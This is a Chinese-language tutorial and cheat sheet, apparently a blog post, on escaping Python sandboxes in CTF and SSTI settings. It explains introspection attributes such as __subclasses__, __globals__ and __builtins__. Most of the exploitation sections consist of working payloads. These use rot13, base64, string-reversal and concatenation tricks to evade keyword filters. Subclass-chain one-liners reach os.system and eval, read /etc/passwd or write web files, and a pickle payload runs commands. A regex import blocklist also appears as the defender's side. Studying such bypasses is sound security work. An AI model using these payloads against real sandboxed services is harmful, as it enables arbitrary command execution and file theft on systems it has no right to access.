0x01 简单介绍

python沙盒逃逸就是通过绕过种种过滤和限制,拿到本不应获取的一些“危险函数”,或者绕过Python终端达到命令执行的效果。


0x02 常用备忘录

(1)func_globals

用法:function.func_globals

作用:返回包含函数全局变量的字典的引用——定义函数的模块的全局命名空间。

1
2
3
4
>>> def test():pass
...
>>> test.func_globals
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', 'test': <function test at 0x000000000392DAC8>, '__doc__': None, '__package__': None}
(2)__getattribute__

用法:object.__getattribute__(self, name)

作用:无条件被调用,通过实例访问属性。如果class中定义了getattr(),则getattr()不会被调用(除非显示调用或引发AttributeError异常)

1
2
3
__import__(“os”).__getattribute__(“metsys”[::-1])(‘ls’)

__import__(“os”).__getattribute__(“flfgrz”.encode(“rot13”))(‘ls’)
(3)dir() 与 __dict__

这两种方法都是一个目的,那就是列出一个模组/类/对象 下面 所有的属性和函数。

这在沙盒逃逸中是很有用的,可以找到隐藏在其中的一些东西。

1
2
3
4
5
>>> ''.__class__.__dict__['upper']  
<method 'upper' of 'str' objects>

>>> dir(''.__class__)
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
(4)__base__
  • 每个类都有一个base属性能列出其基类。

  • 注意:__base__ 和 __bases__的区别
    他们都是返回当前类的基类,只不过__bases__返回的是一个元祖

1
2
3
4
5
>>> ''.__class__.__base__
<class 'object'>

>>> ''.__class__.__bases__
(<class 'object'>,)
(5)__mro__

递归地显示父类一直到 object

1
2
3
4
5
6
7
# python2.7
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

# python3.7
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
(6)__subclasses__()[]

获取当前类的子类,以元组形式返回。

1
2
3
# python2.7中
>>> ''.__class__.__mro__[2].__subclasses__()[40]
<type 'file'>
(7)__import__

用于动态的导入模块,__import__(module)相当于import module

1
2
3
4
__import__ (name)

>>> __import__('os')
<module 'os' from '/usr/lib/python2.7/os.pyc'>
(8)__bulitin__

Python的内建模块,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀
在Python2.X版本中,内建模块被命名为builtin,而到了Python3.X版本中,却更名为builtins。

(9)____builtins__

是对内建模块的一个引用
这个和builtin有一些区别

1)无论任何地方要想使用内建模块,都必须在该位置所处的作用域中导入builtin内建模块;而对于builtins却不用导入,它在任何模块都直接可见,可以把它当作内建模块直接使用

2)builtins虽是对内建模块的引用,但这个引用要看是使用builtins的模块是哪个模块

① 在主模块main中:
__builtins__是对内建模块builtin本身的引用,即builtins完全等价于builtin,二者完全是一个东西,不分彼此

② 在main模块中:
__builtins__仅是对builtin.dict的引用,而非builtin本身。它在任何地方都可见。此时builtins的类型是字典。

(10)reload

重新加载之前导入的模块。

reload (module)

1
2
3
4
>>> import sys

>>> reload(sys)
<module 'sys' (built-in)>
(11)getattr

作用:返回对象的命名属性的值。

用法:getattr (object, name)

  • 相当于object.name
  • name 必须是一个字符串
1
2
3
4
5
6
7
8
>>> class A():
... bar =1
...

>>> a = A()

>>> getattr(a,'bar')
1
(12)__getattr__

当属性查找没有在通常的位置找到属性时调用(例如,它不是实例属性,也不是在类树中找到self)

(13)__name__

这个值获得的只是一个字符串,不是模块的引用。

要使用sys.modules[__name__]才获得的是模块的引用。

1
2
>>> sys.modules['__main__']
<module '__main__' (built-in)>
(14)func_code

返回表示已编译函数体的代码对象。

function.func_code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>>> def foo():
... a=1
...

>>> foo.func_code
<code object foo at 0x7f3a0570d930, file "<stdin>", line 1>
注意:这个代码对象必须存在几个参数

co_argcount 这个参数是返回该函数的参数

>>> foo.func_code.co_argcount
0
co_code 返回函数的字节码(可用dis.dis(字节码)将其转换为汇编格式)

>>> foo.func_code.co_code
'd\x01\x00}\x00\x00d\x00\x00S'
(15)timeit 模块
  • 这个模块是用来测试代码的执行时间的,能执行代码自然能执行命令
  • 使用前需要导入timeit

使用:

timeit(命令,number=1)

1
2
3
>>> import timeit
>>> timeit.timeit("__import__('os').system('dir')",number=1)
其中命令是字符串的形式
(16)platform 模块

由名字可以知道这个模块和平台有关,里面的函数主要是为了返回和平台的一些信息,但是我们还是可以调用
popen 这个函数执行命令

print platform.popen(‘命令’,mode=’r’,bufsize= -1).read()

1
2
import platform
print platform.popen(‘dir’).read()
(17)__globals__

function.__globals__等同于globals(),dir() 的结果,是上面两个的键值。

在fuzz 中常常和__init__配合使用,__init__ 一般跟在类的后面,相当于实例化这个类

1
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
(18)__call__

使实例能够像函数一样被调用
x.call 等同于 x()

1
2
>>> func.__call__
<method-wrapper '__call__' of function object at 0x7f3a056c7e60>
(19)pickle

这个是python 的一个序列化的方法,用于将对象存储在字符串对象中,实现对象的持久化

基本的语法:

序列化:

1
2
3
import pickle
test=('this is a test',3.14,[1,2,3,"hh"])
p=pickle.dumps(test)

反序列化:

1
n=pickle.loads(p)

我们可以通过 pickle 的方式加载命令

1
pickle.loads(b"cos\nsystem\n(S'ls'\ntR.")

(20)os、subprocess、commands
1
2
3
4
5
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)

重点说一下subprocess:

  • subprocess.run()
    Python 3.5中新增的函数。执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例。

  • subprocess.call()
    执行指定的命令,返回命令执行状态,其功能类似于os.system(cmd)。

  • subprocess.check_call()
    Python 2.5中新增的函数。 执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。

  • subprocess.check_output()
    Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。

  • subprocess.getoutput(cmd)
    接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen(cmd).read()和commands.getoutput(cmd)。

  • subprocess.getstatusoutput(cmd)
    执行cmd命令,返回一个元组(命令执行状态,命令执行结果输出),其功能类似于commands.getstatusoutput()。

(21)eval、exec、execfile
  • eval(expression):
    返回python 表达式执行的结果

  • exec(source)
    动态执行python代码。也就是说exec可以执行复杂的python代码,而不像eval函数那样只能计算一个表达式的值。exec函数的返回值永远为None。

  • execfile(filename)
    执行一个文件的内容
    文件是将被解析为python序列的类似于模块的文件

(22)importlib模块

用法:importlib.import_module(module)

可以代替import

使用importlib库引入os模块

1
2
3
>> import importlib
>>> test=importlib.import_module(“bf”.decode(‘rot_13’))
>>> test.system(‘ls’)

(23)f修饰符

在PEP 498中引入了新的字符串类型修饰符:f或F,用f修饰的字符串将可以执行代码。可以参考此文档 https://www.python.org/dev/peps/pep-0498/

只有在python版本在 3.6.0朝上才有这个方法。简单来说,可以理解为字符串外层套了一个exec()

1
f'{__import__(“os”).system(“dir”)}


0x03 一些利用及绕过方法

(1)import 引入禁用模块

1、对于防御者来说,最常见的方法就是禁止引入敏感的包:

1
2
3
4
5
6
7
import re
code = open('code.py').read()
pattern = re.compile('import\s+(os|commands|subprocess|sys)')
match = re.search(pattern,code)
if match:
print "forbidden module import detected"
raise Exception

对于攻击者来说,当然就是想尽一切办法绕过过滤引入可以利用的包,引入的方法有:

  • import 关键字
  • import函数
  • importlib库
1
2
3
4
5
6
7
8
# 使用__import__
lethe = __import__("pbzznaqf".decode('rot_13'))
print lethe.getoutput('ifconfig')

# 使用importlib库
import importlib
lethe = importlib.import_module("pbzznaqf".decode('rot_13')
print lethe.getoutput('ifconfig')

2、在python中,不用引入直接使用的内置函数称为 builtin 函数,随着__builtin__这一个module 自动被引入到环境中。
(在python3.x 版本中,builtin变成了builtins,而且需要引入)

如果我们把这些函数从builtin中删除,那么就不能够再直接使用了。

这时,可以通过reload重新载入:

1
reload(__builtin__)

但是reload()也是builtin下的,如果将它也删了该怎么办呢?

可以通过引入imp模块来进行引入:

1
2
3
import __builtins__
import imp
imp.reload(__builtin__)

这里之所以要import __builtins__,时因为builtins虽然已经被加载,但是它是不可见的,也就时你通过上述两种方式无法找到该模块,dir也不行。引入imp模块的reload函数能够生效的前提是,在最开始有这样的程序语句import __builtins__,这个import的意义并不是把内建模块加载到内存中,因为内建早已经被加载了,它仅仅是让内建模块名在该作用域中可见。

3、python中,如果将模块从sys.modules中删掉之后,就不能再引入了:

Python import 的步骤
python 所有加载的模块信息都存放在 sys.modules 结构中,当 import
一个模块时,会按如下步骤来进行 如果是 import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A
创建 module 对象,并加载 A 如果是 from A import B,先为 A 创建 module
对象,再解析A,从中寻找B并填充到 A 的 dict 中

在所有的类unix系统中,Python的os模块的路径几乎都是/usr/lib/python2.7/os.py中

1
2
3
>>> import sys
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os

这样就可以通过路径重新载入os模块了。

4、但上述方法中还需要用的sys模块,如果将这些模块也删除了呢?

引入模块的过程,其实总体来说就是把对应模块的代码执行一遍的过程,禁止了引入,我们还是可以执行的,我们知道了对应的路径,我们就可以执行相应的代码。

1
2
3
4
5
6
7
8
9
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('cat /etc/passwd')
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
>>> getcwd()
'/usr/lib/python2.7'

如果execfile函数被禁止,那么还可以使用文件操作打开相应文件然后读入,使用exec来执行代码就可以。

如果防御者直接从文件系统中把相应的包的代码删掉,那无论如何既不能引入也不能执行了,其实对于其他模块,我们还可以手动复制代码直接执行,但是对于类似于 os,sys这样的模块,使用了c模块,使用posix或者nt module来实现,而不是纯python代码,那就没有什么办法了。


(2)字符串扫描过滤的绕过

1、各种编码绕过,如:

1
2
3
4
5
6
7
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='

然后dict引用,就相当于__import__('os')
1
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('dir')

2、通过逆向字符串绕过

如果过滤的内容是一个dict的key,我们可以用字符串操作,先把他rot13或者base64或者单纯的reverse一下再进去就可以,举个例子:

1
2
3
4
# 假设要读取 a的time属性 : a['time'] ,但是代码中的time字符串全部被过滤了
s = "emit"
s = s [::-1]
print a[s]

但是 ,如果不是键的字符串被过滤了,而是一个关键字或者函数被过滤了呢,比如说,我们已经通过上面的手法,引入了os包,但是代码扫描之中,遇到system或者popen的就直接过滤了,这时候该怎么办呢?

这个时候,就可以利用两个很特殊的函数:getattr__getattribute__: 这两个函数接受两个参数,一个模组或者对象,第二个是一个字符串,该函数会在模组或者对象下面的域内搜索有没有对应的函数或者属性。

如果某个类定义了 __getattribute__()方法,在 每次引用属性或方法名称时 Python 都调用它(特殊方法名称除外,因为那样将会导致讨厌的无限循环)。
语法:object.__getattribute__(self, name)

如果某个类定义了 getattr() 方法,Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 color, x.color 将 不会 调用x.getattr(‘color’);而只会返回 x.color 已定义好的值。
语法:getattr(object, name[, default])

当system被过滤时:

1
2
3
4
5
6
7
getattr(__import__("os"),"flfgrz".encode("rot13"))('ls')

getattr(__import__("os"),"metsys"[::-1])('ls')

__import__("os").__getattribute__("metsys"[::-1])('ls')

__import__("os").__getattribute__("flfgrz".encode("rot13"))('ls')


(3)引入object命令执行

python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的。

注意:python2与python3中的继承链会有不同

比如说字符串对象,通过__mro__方法可打印出其继承关系;通过__bases__方法可以获取上一层继承关系,而如果是多层继承则返回上一层的东西,可能有多个。

1
2
3
4
5
>>> ().__class__.__bases__
(<type ‘object’>,)

>>> "".__class__.__mro__
(<type ‘str’>, <type ‘basestring’>, <type ‘object’>)

这是最常见的创建object对象的两个方法:

1
2
3
4
>>> ().__class__.__bases__[0]
<type 'object'>
>>> ”.__class__.__mro__[2]
<type 'object'>

在获取之后,可以通过__subclasses__()获取其所有子类,并且可以通过索引进行访问。

1、如在python2中__subclasses__()[40]即是file类型的object。

1
2
3
4
>>> ().__class__.__bases__[0].__subclasses__()[40]
<type ‘file’>
>>> ”.__class__.__mro__[2].__subclasses__()[40]
<type ‘file’>

可以利用其进行读文件:

1
2
().__class__.__bases__[0].__subclasses__()[40]("/flag").read()
''.__class__.__mro__[2].__subclasses__()[40]("/flag").read()

2、如果要执行命令可以找subclasses下引入过os模块的模块。

例如:

1
2
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os']
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os']

3、或者是调用过危险函数eval的

1
2
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')

4、还要注意一下这个linecache模块, 这是一个模块用于读取文件的模块,其中自带了os,如下:

1
2
3
>>> dir(().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")["linecache"])

['__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'cache', 'checkcache', 'clearcache', 'getline', 'getlines', 'os', 'sys', 'updatecache']


0x04 常见逃逸思路

当函数被禁用时,就要通过一些类中的关系来引用被禁用的函数。一些常见的寻找特殊模块的方式如下所示:

  • __class__:获得当前对象的类
  • __bases__ :列出其基类
  • __mro__ :列出解析方法的调用顺序,类似于bases
  • __subclasses__():返回子类列表
  • __dict__ : 列出当前属性/函数的字典
  • func_globals:返回一个包含函数全局变量的字典引用

一些payload总结:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 利用file()函数读取文件:(写类似)
().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()

# 执行系统命令:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.system('ls')

# 执行系统命令:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')

# 重新载入__builtins__:
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")

#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

# 利用 __getattibute__ 方法

x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')

### 上述命令需要通过哦 exec 或者别的命令执行函数执行

# python3
py2 [58] <class 'warnings.catch_warnings'> 对应 py3 [157]
().__class__.__bases__[0].__subclasses__()[157]()._module.__builtins__['__import__']("os").system("ls")

推荐的另外一个类
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("cat FLAG")

1
2
3
4
5
6
7
8
9
10
11
12
13
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')

"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('_ _import__("os").system("ls")')

"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('_ _import__("os").system("ls")')

"".__class__.__mro__[-1].__subclasses__()[40](filename).read()

"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')

''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['sys'].modules['os'].popen('ls').read()


0x05 一些小trick

1、完整过滤整个匹配语句我们只要使用变量替换的方式绕过

1
2
a = open
print(a("/etc/passwd").read())

2、函数名后面加点空格换一行都能执行

1
2
print open
("/etc/passwd").read()

3、使用第三方库的执行命令的函数

如果程序中调用了第三方的库,恰好这个库有执行命令的函数,那么肯定是再好不过了

1
2
from numpy.distutils.exec_command import _exec_command as system
system("ls /")

4、使用别名

1
import os as o

5、字符串拼接

1
2
"l"+"s"
"func_global"+"s"


总结:python沙盒绕过的知识点多而杂,且非常灵活,也是python后端SSTI的基础,还需要慢慢学习积累。


参考链接:
https://xz.aliyun.com/t/52#toc-6
http://yulige.top/?p=502
http://shaobaobaoer.cn/archives/656/python-sandbox-escape
https://www.k0rz3n.com/2018/05/04/Python%20%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%A4%87%E5%BF%98/#%E4%BA%8C%E3%80%81%E4%BB%80%E4%B9%88%E6%98%AFpython-%E7%9A%84%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8